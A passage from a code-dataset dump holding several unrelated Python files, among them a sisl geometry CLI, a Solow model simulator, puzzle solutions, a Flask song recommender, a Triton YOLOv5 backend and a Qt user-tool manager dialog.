f\"\"\"\nThis manipulation utility is highly advanced and one should note that the ORDER of\noptions is determining the final structure. For instance:\n\n {exe} geom.xyz --repeat 2 x --repeat 2 y\n\nis NOT equivalent to:\n\n {exe} geom.xyz --repeat 2 y --repeat 2 x\n\nThis may be unexpected but enables one to do advanced manipulations.\n\nAdditionally, in between arguments, one may store the current state of the geometry\nby writing to a standard file.\n\n {exe} geom.xyz --repeat 2 y geom_repy.xyz --repeat 2 x geom_repy_repx.xyz\n\nwill create two files:\n geom_repy.xyz\nwill only be repeated 2 times along the second lattice vector, while:\n geom_repy_repx.xyz\nwill be repeated 2 times along the second lattice vector, and then the first\nlattice vector.\n \"\"\"\n\n if argv is not None:\n if len(argv) == 0:\n argv = [\"--help\"]\n elif len(sys.argv) == 1:\n # no arguments\n # fake a help\n argv = [\"--help\"]\n else:\n argv = sys.argv[1:]\n\n # Ensure that the arguments have pre-pended spaces\n argv = cmd.argv_negative_fix(argv)\n\n p = argparse.ArgumentParser(\n exe,\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=description,\n )\n\n # Add default sisl version stuff\n cmd.add_sisl_version_cite_arg(p)\n\n # First read the input \"Sile\"\n stdout_geom = True\n if geometry is None:\n from os.path import isfile\n\n argv, input_file = cmd.collect_input(argv)\n\n if input_file is None:\n stdout_geom = False\n geometry = Geometry([0] * 3)\n else:\n # Extract specification of the input file\n i_file, spec = str_spec(input_file)\n\n if isfile(i_file):\n geometry = get_sile(input_file).read_geometry()\n else:\n from .messages import info\n\n info(f\"Cannot find file '{input_file}'!\")\n geometry = Geometry\n stdout_geom = False\n\n elif isinstance(geometry, Geometry):\n # Do nothing, the geometry is already created\n pass\n\n elif isinstance(geometry, BaseSile):\n geometry = geometry.read_geometry()\n # Store the input file...\n input_file = geometry.file\n\n # Do the argument parser\n p, ns = geometry.ArgumentParser(p, **geometry._ArgumentParser_args_single())\n\n # Now the arguments should have been populated\n # and we will sort out if the input options\n # is only a help option.\n try:\n if not hasattr(ns, \"_input_file\"):\n setattr(ns, \"_input_file\", input_file)\n except Exception:\n pass\n\n # Now try and figure out the actual arguments\n p, ns, argv = cmd.collect_arguments(\n argv, input=False, argumentparser=p, namespace=ns\n )\n\n # We are good to go!!!\n args = p.parse_args(argv, namespace=ns)\n g = args._geometry\n\n if stdout_geom and not args._stored_geometry:\n # We should write out the information to the stdout\n # This is merely for testing purposes and may not be used for anything.\n print(\"Cell:\")\n for i in (0, 1, 2):\n print(\" {:10.6f} {:10.6f} {:10.6f}\".format(*g.cell[i, :]))\n print(\"Lattice:\")\n print(\" {:d} {:d} {:d}\".format(*g.nsc))\n print(\" {:>10s} {:>10s} {:>10s} {:>3s}\".format(\"x\", \"y\", \"z\", \"Z\"))\n for ia in g:\n print(\n \" {1:10.6f} {2:10.6f} {3:10.6f} {0:3d}\".format(\n g.atoms[ia].Z, *g.xyz[ia, :]\n )\n )\n\n if ret_geometry:\n return g\n return 0\n","repo_name":"zerothi/sisl","sub_path":"src/sisl/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":209928,"program_lang":"python","lang":"en","doc_type":"code","stars":155,"dataset":"github-code","pt":"61"} +{"seq_id":"4940138175","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport ipywidgets as widgets\n\ndef solow_equation(k,alpha,delta,s):\n\n saving = s*k**alpha\n depreciation = delta*k\n k_plus = k + saving - depreciation \n return k_plus, saving, depreciation \n \ndef simulate_solow_model(k0,alpha,delta,s,T):\n\n k_path = [k0] \n saving_path = []\n depreciation_path = []\n \n for t in range(1,T):\n\n k_plus,saving,depreciation = solow_equation(k_path[t-1],alpha,delta,s) \n\n k_path.append(k_plus)\n saving_path.append(saving)\n depreciation_path.append(depreciation)\n \n return k_path,saving_path,depreciation_path\n\n\ndef simulate(k_max=10,T=150):\n\n widgets.interact(simulate_, \n k0=widgets.FloatSlider(description='$k_0$',min=0, max=k_max, step=0.05, value=2), \n alpha=widgets.FloatSlider(description='$\\\\alpha$',min=0.01, max=0.99, step=0.01, value=0.3), \n delta=widgets.FloatSlider(description='$\\\\delta$',min=0.01, max=0.50, step=0.01, value=0.1), \n s=widgets.FloatSlider(description='$s$',min=0.01, max=0.99, step=0.01, value=0.3), \n T=widgets.fixed(T), \n k_max=widgets.fixed(k_max)) \n\ndef simulate_(k0,alpha,delta,s,T,k_max):\n\n k_path,saving_path,depreciation_path = simulate_solow_model(k0,alpha,delta,s,T*5)\n\n fig = plt.figure(figsize=(16,6),dpi=100)\n ax1 = fig.add_subplot(1,2,1)\n\n ax1.plot(k_path[:T],lw=2)\n ax1.grid(ls='--',lw=1)\n ax1.set_title('Capital ($k_t$)')\n ax1.set_xlim([0,T])\n ax1.set_ylim([0,k_max])\n\n k_path = np.array(k_path)\n I = np.abs(np.log(k_path) - np.log(k_path[-1])) < 0.01\n t_converge = T*5 - k_path[I].size\n ax1.plot([t_converge,t_converge],[0,k_max],ls='--',color='black',label='$|\\\\log(k_t)-\\\\log(k^\\\\ast)| < 0.01$')\n\n legend = ax1.legend(loc='lower right', shadow=True)\n frame = legend.get_frame()\n frame.set_facecolor('0.90')\n\n ax2 = fig.add_subplot(1,2,2)\n ax2.plot(saving_path[:T],label='saving')\n ax2.plot(depreciation_path[:T],label='depreciation')\n ax2.grid(ls='--',lw=1)\n ax2.set_title('Saving ($sk^\\\\alpha$) and depreciation ($\\\\delta k_t$)')\n ax2.set_xlim([0,T])\n ax2.set_ylim([0,0.5*k_max])\n\n legend = ax2.legend(loc='upper left', shadow=True)\n frame = legend.get_frame()\n frame.set_facecolor('0.90')\n","repo_name":"minjiedeng/NumEcon","sub_path":"numecon/course_macro1/solow.py","file_name":"solow.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"5483351393","text":"import numpy as np\nfrom math import gcd\n\ninput_file = open('advent_input.txt')\ncontent = input_file.readlines()\n\nbuses = content[1].split(',')\n\n# timestamps = [i for i in range(len(buses))]\n\ntimestamps = []\nfor i, b in enumerate(buses):\n if b != 'x':\n timestamps.append(i)\nbuses = [int(b) for b in buses if b != 'x']\n\nprint(timestamps)\nprint(buses)\n\n\ndef findlcm(a):\n try:\n lcm = a[0]\n for i in a[1:]:\n lcm = lcm * i // gcd(lcm, i)\n except IndexError:\n lcm = a\n return lcm\n\nb1 = 13\nb2 = 41\nb2adj = 41 - 3\n\nt = 0\n\nt += b1\n(t + 3) % b2 == 0\n\n\nt = 0\nfor i, b in enumerate(buses):\n lcm = findlcm(buses[:i+1])\n b2 = buses[i+1]\n b2adj = b2 - timestamps[i+1]\n match = False\n while not match:\n t += lcm\n match = (t + timestamps[i+1]) % b2 == 00\n print(t)\n\n\n\n\n\n\n\n\n# we_got_em = False\n# while not we_got_em:\n# t += 1\n# print(t)\n# t_add = 0\n# for b in buses:\n# if b != 'x':\n# b = int(b)\n# if (t + t_add) % b == 0:\n# t_add += 1\n# else:\n# break\n# if t_add == len(buses):\n# we_got_em = True\n# print(t)\n","repo_name":"blindawson/AdventOfCode","sub_path":"2020/src/AdventCalendar13.py","file_name":"AdventCalendar13.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21857306066","text":"datasets = [\n {\n 'name': 'Abalone',\n 'input_file': 'abalone.csv',\n 'path': 'abalone',\n 'process': True\n },\n {\n 'name': 'Wine',\n 'input_file': 'wine_quality_red.csv',\n 'path': 'wine',\n 'process': False\n }\n]\n\nproblem_to_process = [\n {\n 'name': 'Original',\n 'type': 'Unmodified',\n 'path': 'original',\n 'process': False\n },\n {\n 'name': 'k-Means',\n 'type': 'Clustering',\n 'path': 'km',\n 'abalone': 7,\n 'wine': 4,\n 'process': True\n },\n {\n 'name': 'EM',\n 'type': 'Clustering',\n 'path': 'em',\n 'abalone': 10,\n 'wine': 7,\n 'process': True\n },\n {\n 'name': 'PCA',\n 'type': 'Dim-Red',\n 'path': 'pca',\n 'abalone': 6,\n 'wine': 10,\n 'abalone_km': 8,\n 'abalone_em': 16,\n 'wine_km': 2,\n 'wine_em': 5,\n 'process': False\n },\n {\n 'name': 'ICA',\n 'type': 'Dim-Red',\n 'path': 'ica',\n 'abalone': 8,\n 'wine': 4,\n 'abalone_km': 5,\n 'abalone_em': 13,\n 'wine_km': 6,\n 'wine_em': 6,\n 'process': False\n },\n {\n 'name': 'Random-Projection',\n 'type': 'Dim-Red',\n 'path': 'rp',\n 'abalone': 9,\n 'wine': 10,\n 'abalone_km': 2,\n 'abalone_em': 14,\n 'wine_km': 2,\n 'wine_em': 6,\n 'process': False\n },\n {\n 'name': 'Factor-Analysis',\n 'type': 'Dim-Red',\n 'path': 'fa',\n 'abalone': 7,\n 'wine': 10,\n 'abalone_km': 3,\n 'abalone_em': 13,\n 'wine_km': 5,\n 'wine_em': 6,\n 'process': False\n }\n]\n\nnn_prob = {\n 'name': 'Neural Networks',\n 'path': 'nn',\n 'abalone_em': (10,)*3,\n 'abalone_km': (10,)*1,\n 'abalone_pca': (10,)*7,\n 'abalone_ica': (10,)*7,\n 'abalone_rp': (10,)*5,\n 'abalone_fa': (10,)*9,\n 'abalone_original': (10,)*9\n}\n\ntrain_data_file = '{}_train.csv'\ntest_data_file = '{}_test.csv'\nval_data_file_0 = '{}_validate_0.csv'\nval_data_file_1 = '{}_validate_1.csv'\n\nnn_train_data_file = '{}_{}_nn_data_train.csv'\nnn_test_data_file = '{}_{}_nn_data_test.csv'\n\npath_pattern = '{}/{}/{}/'\ncom_prob_path_pattern = '{}/{}/{}/{}/'\n\ndr_enabled = False\n\nnn_enabled = True\n\nrandom_state = 42\n","repo_name":"linqiao710/cs7641_a3_shared","sub_path":"config_util.py","file_name":"config_util.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"fa","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2103460604","text":"# Remove even elements and print list\n\n'''\nTopics:\n--------\n--> Operators\n--> DM and Loops\n--> Data structure\n--> Crud Operations(retrieval)\n\n# Take the string\n# Remove the odd position of the string\n# Write the New string in White paper\n'''\nimport collections\n# 1.Builtin functions\nprint(\"-----1. Built Functions--------\")\nnum = [1,2, 3, 4, 1, 3, 6, 2, 6, 5, 1]\na = collections.Counter(num)\nprint(a)\n\n# 2. Algorithm:\nprint(\"-----1. Algorithm--------\")\nnum = [1,2, 3, 4, 1, 3, 6, 2, 6, 5, 1]\nnew = []\ncount = 0\nfor i in range(len(num)):\n if num[i] not in new:\n new.append(i)\n for j in range(len(new)):\n if num[i] == new[j]:\n count += 1\n print(j, count)\n# 3 Using Functions ==>\nprint(\"--------3 Using Functions----------\")\n\n\ndef frequency():\n num = [1, 2, 3, 4, 1, 3, 6, 2, 6, 5, 1]\n a = collections.Counter(num)\n return a\n\n\nobj = frequency()\nprint(obj)\n\n# 4 OOPS ==> 5\nprint(\"--------4 Object Oriented----------\")\n# 5 Exception handling ==> 2\nprint(\"--------5 Exception handling----------\")\n# 6 File Handling ==> 1\nprint(\"--------6 File Handling----------\")\n# 6 Database interaction MVC ==> 1\nprint(\"--------6 Database interaction----------\")\n# 7 UI Interaction ==> 1\nprint(\"--------7 UI Interaction----------\")\n\n'''a='KIRAN kar'\nb='KIRAN kar'\nc='KARAN'\nprint(id(a),id(b),id(c))'''\n\n\n","repo_name":"Karthi2245/MCS-0038-Daily-Projects","sub_path":"Assignment/_01_list/_23_frequency_of_elements.py","file_name":"_23_frequency_of_elements.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23395663331","text":"import sys\r\nimport math\r\n\r\nclass Memoize:\r\n def __init__(self, f):\r\n self.f = f\r\n self.memo = {}\r\n def __call__(self, *args):\r\n if not args in self.memo:\r\n self.memo[args] = self.f(*args)\r\n return self.memo[args]\r\n\r\ndef palindrome(x):\r\n \r\n temp = str(x)\r\n return temp == temp[::-1]\r\n \r\n\r\ndef createPosSquares(a,b):\r\n posSquares = []\r\n\r\n start = math.ceil(math.sqrt(a))\r\n if(start**2 > b):\r\n return []\r\n while(start**2 <= b):\r\n posSquares.append(int(start**2))\r\n start += 1\r\n return posSquares\r\n \r\nf = open(sys.argv[1],\"r\")\r\noutput = open(\"fair_and_square.txt\",\"w\")\r\nnum = int(f.readline())\r\ntest_cases = f.read()\r\ntest_cases = test_cases.split(\"\\n\")\r\ntest_cases = test_cases[:-1]\r\nfor i in range(len(test_cases)):\r\n test_cases[i] = test_cases[i].split()\r\n for j in range(2):\r\n test_cases[i][j] = int(test_cases[i][j])\r\n\r\n\r\npalindrome = Memoize(palindrome)\r\nc = 0\r\nfor case in test_cases:\r\n c += 1\r\n fair = 0\r\n squares = createPosSquares(case[0],case[1])\r\n \r\n for i in squares:\r\n if(palindrome(int(math.sqrt(i)))):\r\n if palindrome(i):\r\n fair += 1\r\n\r\n\r\n output.write(\"Case #\"+str(c)+\": \"+str(fair)+\"\\n\")","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/2754.py","file_name":"2754.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29941807924","text":"import pytest \nimport pandas as pd\nimport mido\nimport miditapyr.mido_io as mtio\nimport miditapyr.midi_frame as mtmf\n\n@pytest.fixture\ndef mfm():\n mid = mtio.get_test_midi_file(as_string=True)\n mfm = mtmf.MidiFrames(mid)\n return mfm\n\n\ndef test_init_empty_and_fill(mfm):\n mid = mtio.get_test_midi_file(as_string=True)\n mfe = mtmf.MidiFrames()\n\n\n with pytest.raises(Exception) as e_info:\n mfe.midi_frame_unnested.df\n\n assert e_info.value.args[0] == 'df is None'\n\n mfe.calc_attributes(mid)\n\n assert mfe.midi_frame_unnested.df.equals(mfm.midi_frame_unnested.df)\n \n\n\ndef test_modify_midi_frame(mfm):\n mfu = mfm.midi_frame_unnested.df\n mfn = mfm.midi_frame_nested.df\n\n mfm.midi_frame_unnested.update_unnested_mf(mfu.loc[0:10,])\n\n assert mfm.midi_frame_nested.df.equals(mfn.loc[0:10,])\n","repo_name":"urswilke/miditapyr","sub_path":"tests/test_midi_frames.py","file_name":"test_midi_frames.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"36372414324","text":"#!/usr/bin/env python3\n\nimport Cython.Build\nimport numpy\nimport setuptools\nimport setuptools.extension\n\n\n_DIRECTIVES = {'language_level': '3'}\n\n\nsetuptools.setup(\n name='evosimz',\n author='Zhengting Zou, Hongjiu Zhang, Yuanfang Guan, Jianzhi Zhang',\n author_email='ztzou@umich.edu, zhanghj@umich.edu, '\n 'gyuanfan@umich.edu, jianzhi@umich.edu',\n keywords='bioinformatics',\n python_requires='>=3.6.0',\n packages=setuptools.find_packages(exclude=['tests']),\n ext_modules=Cython.Build.cythonize(\n [setuptools.extension.Extension('*', ['evosimz/*.pyx'])],\n compiler_directives=_DIRECTIVES,\n ),\n include_dirs=[numpy.get_include()],\n entry_points={\n 'console_scripts': [\n 'evosimz = evosimz.simulators:_entrypoint',\n ],\n },\n package_data={\n 'utils': ['*.pxd', '*.pyx'],\n },\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Science/Research',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Cython',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3 :: Only',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Topic :: Scientific/Engineering :: Bio-Informatics',\n ],\n)\n","repo_name":"enneamer/Science.PhyDL","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32114117298","text":"\nfrom flask import Flask, request, jsonify, render_template\nimport pandas as pd\nfrom rake_nltk import Rake\nimport numpy as np\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport numpy as np\nimport difflib\nimport pickle\n\napp = Flask(__name__) #Initialize the flask App\n#model = pickle.load(open('r_model.pkl', 'rb'))\n\n\n\n#pd.set_option('display.max_columns', 100)\ndf = pd.read_csv('songs_i_rarely_ever_skip.csv')\n\ndf = df[['Artist Name','Track Name','Album Name']]\ndf= df.rename(columns={'Artist Name':'artist','Track Name':'track','Album Name':'album'})\nall_titles = [df['track'][i] for i in range(len(df['track']))]\n\n# discarding the commas between the artists' full names and getting only the first three names\ndf['artist'] = df['artist'].map(lambda x: x.split(',')[:3])\n\n# putting the album in a list of words\ndf['album'] = df['album'].map(lambda x: x.lower().split(',')[:4])\n\n# merging together first and last name for each singer, so it's considered as one word \n# and there is no mix up between people sharing a first name\nfor index, row in df.iterrows():\n row['artist'] = [x.lower().replace(' ','') for x in row['artist']]\n\ndf.set_index('track', inplace = True)\n\ndf['bag_of_words'] = ''\ncolumns = df.columns\nfor index, row in df.iterrows():\n words = ''\n for col in columns:\n words = words + ' '.join(row[col])+ ' '\n row['bag_of_words'] = words\n \ndf.drop(columns = [col for col in df.columns if col!= 'bag_of_words'], inplace = True)\n\n# instantiating and generating the count matrix\ncount = CountVectorizer()\ncount_matrix = count.fit_transform(df['bag_of_words'])\n\n# creating a Series for the song titles so they are associated to an ordered numerical\n# list I will use later to match the indexes\nindices = pd.Series(df.index)\nindices[:3]\n\n# generating the cosine similarity matrix\ncosine_sim = cosine_similarity(count_matrix, count_matrix)\ncosine_sim\n\n# function that takes in song title as input and returns the top 10 recommended songs\ndef recommendations(title, cosine_sim = cosine_sim):\n \n recommended_songs = []\n \n # gettin the index of the song that matches the title\n idx = indices[indices == title].index[0]\n\n # creating a Series with the similarity scores in descending order\n score_series = pd.Series(cosine_sim[idx]).sort_values(ascending = False)\n\n # getting the indexes of the 10 most similar songs\n top_10_indexes = list(score_series.iloc[1:11].index)\n \n # populating the list with the titles of the best 10 matching songs\n for i in top_10_indexes:\n recommended_songs.append(list(df.index)[i])\n \n return recommended_songs\n\nrecommendations('Toxic')\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/main',methods=['POST'])\n\ndef main():\n s_name = request.form['song_name']\n if s_name not in all_titles:\n return render_template('negative.html',name=s_name)\n else:\n result_final = recommendations(s_name,cosine_sim = cosine_sim)\n names = []\n for i in range(len(result_final)):\n names=result_final\n return render_template('positive.html',song_names=names,search_name=s_name)\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"rimhammami/MiniProjetML","sub_path":"Song Recommendation System/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3122152721","text":"from undirectedgraph import Graph\nfrom sieveoferatosthenes import primes\n\ndef findNumberOfTimesDigitChangeRequired(graph, p1, p2):\n visited = dict.fromkeys(graph.graph.keys(), False)\n q = [p1]\n visited[p1] = True\n count = 0\n levels = dict.fromkeys(graph.graph.keys(), False)\n while len(q) > 0:\n s = q.pop(0)\n count += 1\n for i in graph.graph[s]:\n if not visited[i]:\n q.append(i)\n visited[i] = True\n levels[i] = levels[s] + 1\n if i == p2:\n return levels[i]\n\ndef differBySingleDigit(a, b):\n count = 0\n if a % 10 != b % 10:\n count += 1\n a, b = a // 10, b // 10\n if a % 10 != b % 10:\n count += 1\n a, b = a // 10, b // 10\n if a % 10 != b % 10:\n count += 1\n a, b = a // 10, b // 10\n if a % 10 != b % 10:\n count += 1\n return count == 1\n\nstart = 1000\nend = 9999\nprimeList = primes(start, end)\ng = Graph()\n\nfor i in range(len(primeList)):\n for j in range(i + 1, len(primeList)):\n if differBySingleDigit(primeList[i], primeList[j]):\n g.addEdge(primeList[i], primeList[j])\n\nprint (findNumberOfTimesDigitChangeRequired(g, 1033, 8179))","repo_name":"chinchponkli/pyalgorithms","sub_path":"graph/primeGraph.py","file_name":"primeGraph.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"914168562","text":"import threading\nfrom stanfordcorenlp import StanfordCoreNLP\nfrom tqdm import tqdm\nfrom sqlUtil import connectSql\nfrom utils import is_vdo_pattern\n\ndirPath = \"/home1/tyc/QSubject/data/\"\ndef append_file(path, vdoData):\n try:\n with open(path,'a') as f:\n for i in vdoData:\n f.write(i)\n f.write(\"\\n\")\n f.close()\n except Exception as e:\n print(e)\n\nif __name__ == '__main__':\n db, cursor = connectSql()\n global totalCount\n totalCount = 0\n sql = \"select subject from rawdata1 where diff_and_msg_type =2 or diff_and_msg_type =3 order by project\"\n cursor.execute(sql)\n global rows1, nlp\n rows1 = cursor.fetchall()\n nlp_dir = '../preprocess/stanford-corenlp-full-2018-10-05'\n nlp = StanfordCoreNLP(nlp_dir)\n vdoData = []\n sql = \"select commit_id from rawdata1 where diff_and_msg_type =1 order by project\"\n cursor.execute(sql)\n rows = cursor.fetchall()\n for row in rows:\n vdoData.append(row[0])\n if len(vdoData) > 1000:\n append_file(dirPath + \"vdoData.msg\", vdoData)\n vdoData.clear()\n if len(vdoData) != 0:\n append_file(dirPath + \"vdoData.msg\", vdoData)\n vdoData.clear()\n\n totalCount += len(rows)\n print(totalCount)\n db.close()\n nlp.close()\n\n # 38287","repo_name":"qiuzhiqing999/TSE","sub_path":"dataAnalysis/datasetSizeStatic_2.py","file_name":"datasetSizeStatic_2.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35728436330","text":"import json\nimport torch\n\n# triton_python_backend_utils is available in every Triton Python model. You\n# need to use this module to create inference requests and responses. It also\n# contains some utility functions for extracting information from model_config\n# and converting Triton input/output types to numpy types.\nimport triton_python_backend_utils as pb_utils\n\n\nclass TritonPythonModel:\n \"\"\"Your Python model must use the same class name. Every Python model\n that is created must have \"TritonPythonModel\" as the class name.\n \"\"\"\n\n def initialize(self, args):\n \"\"\"`initialize` is called only once when the model is being loaded.\n Implementing `initialize` function is optional. This function allows\n the model to intialize any state associated with this model.\n Parameters\n ----------\n args : dict\n Both keys and values are strings. The dictionary keys and values are:\n * model_config: A JSON string containing the model configuration\n * model_instance_kind: A string containing model instance kind\n * model_instance_device_id: A string containing model instance device ID\n * model_repository: Model repository path\n * model_version: Model version\n * model_name: Model name\n \"\"\"\n\n self.model_config = model_config = json.loads(args[\"model_config\"])\n\n output0_config = pb_utils.get_output_config_by_name(model_config, \"OUTPUT0\")\n\n self.output0_dtype = pb_utils.triton_string_to_numpy(output0_config[\"data_type\"])\n\n self.model = torch.hub.load(\"LearningAnalyticsITMO/yolov5\", \"yolov5s\", pretrained=True)\n\n self.model.classes = [0]\n\n def execute(self, requests):\n \"\"\"`execute` MUST be implemented in every Python model. `execute`\n function receives a list of pb_utils.InferenceRequest as the only\n argument. This function is called when an inference request is made\n for this model. Depending on the batching configuration (e.g. Dynamic\n Batching) used, `requests` may contain multiple requests. Every\n Python model, must create one pb_utils.InferenceResponse for every\n pb_utils.InferenceRequest in `requests`. If there is an error, you can\n set the error argument when creating a pb_utils.InferenceResponse\n Parameters\n ----------\n requests : list\n A list of pb_utils.InferenceRequest\n Returns\n -------\n list\n A list of pb_utils.InferenceResponse. The length of this list must\n be the same as `requests`\n \"\"\"\n\n output0_dtype = self.output0_dtype\n\n responses = []\n\n for request in requests:\n\n in_0 = pb_utils.get_input_tensor_by_name(request, \"INPUT0\")\n\n out_0 = torch.nn.utils.rnn.pad_sequence(self.model(list(in_0.as_numpy())).xyxy, batch_first=True).numpy()\n\n out_tensor_0 = pb_utils.Tensor(\"OUTPUT0\", out_0.astype(output0_dtype))\n\n inference_response = pb_utils.InferenceResponse(output_tensors=[out_tensor_0])\n\n responses.append(inference_response)\n\n return responses\n","repo_name":"DmitryIo/triton-inference-server-medium","sub_path":"triton_server/yolov5/1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"38526081996","text":"from deposit_gui.view.vusertools_elements.editor.editor_form import (EditorForm)\nfrom deposit_gui.view.vusertools_elements.editor.editor_query import (EditorQuery)\nfrom deposit_gui.view.vusertools_elements.user_elements.user_tool import (UserTool)\nfrom deposit_gui.view.vusertools_elements.user_elements.search_form import (SearchForm)\nfrom deposit_gui.view.vusertools_elements.user_elements.entry_form import (EntryForm)\nfrom deposit_gui.view.vusertools_elements.user_elements.query import (Query)\n\nfrom PySide2 import (QtWidgets, QtCore)\n\nclass Manager(QtWidgets.QDialog):\n\t\n\tsignal_export = QtCore.Signal(object)\t# user_tool\n\tsignal_import = QtCore.Signal()\n\tsignal_del_tool = QtCore.Signal(list)\t# [label, ...]\n\t\n\tdef __init__(self, vusertools):\n\t\t\n\t\tQtWidgets.QDialog.__init__(self)\n\t\t\n\t\tself._vusertools = vusertools\n\t\t\n\t\tself.setAttribute(QtCore.Qt.WA_DeleteOnClose)\n\t\tself.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n\t\tself.setStyleSheet(\"QPushButton {Text-align:left;}\")\n\t\tself.setWindowTitle(\"User Tool Manager\")\n\t\tself.setMinimumWidth(300)\n\t\tself.setModal(True)\n\t\tself.setLayout(QtWidgets.QHBoxLayout())\n\t\tself.layout().setContentsMargins(10, 10, 10, 10)\n\t\t\n\t\tself.tool_list = QtWidgets.QListWidget()\n\t\tself.tool_list.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection)\n\t\tself.controls = QtWidgets.QFrame()\n\t\tself.controls.setLayout(QtWidgets.QVBoxLayout())\n\t\tself.controls.layout().setContentsMargins(0, 0, 0, 0)\n\t\t\n\t\tself.button_add_query = QtWidgets.QPushButton(\"Add Query\")\n\t\tself.button_add_query.setIcon(self._vusertools.get_icon(\"add_query.svg\"))\n\t\tself.button_add_query.setIconSize(QtCore.QSize(32, 32))\n\t\tself.button_add_query.clicked.connect(self.on_add_query)\n\t\tself.controls.layout().addWidget(self.button_add_query)\n\t\t\n\t\tself.button_add_search = QtWidgets.QPushButton(\"Add Search Form\")\n\t\tself.button_add_search.setIcon(self._vusertools.get_icon(\"add_search.svg\"))\n\t\tself.button_add_search.setIconSize(QtCore.QSize(32, 32))\n\t\tself.button_add_search.clicked.connect(self.on_add_search)\n\t\tself.controls.layout().addWidget(self.button_add_search)\n\t\t\n\t\tself.button_add_entry = QtWidgets.QPushButton(\"Add Entry Form\")\n\t\tself.button_add_entry.setIcon(self._vusertools.get_icon(\"add_form.svg\"))\n\t\tself.button_add_entry.setIconSize(QtCore.QSize(32, 32))\n\t\tself.button_add_entry.clicked.connect(self.on_add_entry)\n\t\tself.controls.layout().addWidget(self.button_add_entry)\n\t\t\n\t\tself.button_edit = QtWidgets.QPushButton(\"Edit\")\n\t\tself.button_edit.setIcon(self._vusertools.get_icon(\"edit.svg\"))\n\t\tself.button_edit.setIconSize(QtCore.QSize(32, 32))\n\t\tself.button_edit.clicked.connect(self.on_edit)\n\t\tself.controls.layout().addWidget(self.button_edit)\n\t\t\n\t\tself.button_delete = QtWidgets.QPushButton(\"Delete\")\n\t\tself.button_delete.setIcon(self._vusertools.get_icon(\"delete.svg\"))\n\t\tself.button_delete.setIconSize(QtCore.QSize(32, 32))\n\t\tself.button_delete.clicked.connect(self.on_delete)\n\t\tself.controls.layout().addWidget(self.button_delete)\n\t\t\n\t\tself.button_order_up = QtWidgets.QPushButton(\"Order Up\")\n\t\tself.button_order_up.setIcon(self._vusertools.get_icon(\"up_small.svg\"))\n\t\tself.button_order_up.setIconSize(QtCore.QSize(32, 32))\n\t\tself.button_order_up.clicked.connect(self.on_order_up)\n\t\tself.controls.layout().addWidget(self.button_order_up)\n\t\t\n\t\tself.button_order_down = QtWidgets.QPushButton(\"Order Down\")\n\t\tself.button_order_down.setIcon(self._vusertools.get_icon(\"down_small.svg\"))\n\t\tself.button_order_down.setIconSize(QtCore.QSize(32, 32))\n\t\tself.button_order_down.clicked.connect(self.on_order_down)\n\t\tself.controls.layout().addWidget(self.button_order_down)\n\t\t\n\t\tself.button_export = QtWidgets.QPushButton(\"Export\")\n\t\tself.button_export.setIcon(self._vusertools.get_icon(\"export_deposit.svg\"))\n\t\tself.button_export.setIconSize(QtCore.QSize(32, 32))\n\t\tself.button_export.clicked.connect(self.on_export)\n\t\tself.controls.layout().addWidget(self.button_export)\n\t\t\n\t\tself.button_import = QtWidgets.QPushButton(\"Import\")\n\t\tself.button_import.setIcon(self._vusertools.get_icon(\"import.svg\"))\n\t\tself.button_import.setIconSize(QtCore.QSize(32, 32))\n\t\tself.button_import.clicked.connect(self.on_import)\n\t\tself.controls.layout().addWidget(self.button_import)\n\t\t\n\t\tself.controls.layout().addStretch()\n\t\t\n\t\tself.layout().addWidget(self.tool_list)\n\t\tself.layout().addWidget(self.controls)\n\t\t\n\t\tself.populate()\n\t\tself.update()\n\t\t\n\t\tself.tool_list.itemSelectionChanged.connect(self.on_selection_changed)\n\t\t\n\tdef start_query_editor(self, query_tool = None):\n\t\t\n\t\tdialog = EditorQuery(self._vusertools, query_tool)\n\t\tdialog.signal_add_tool.connect(lambda user_tool: self._vusertools.signal_add_tool.emit(user_tool))\n\t\tdialog.signal_update_tool.connect(lambda label, 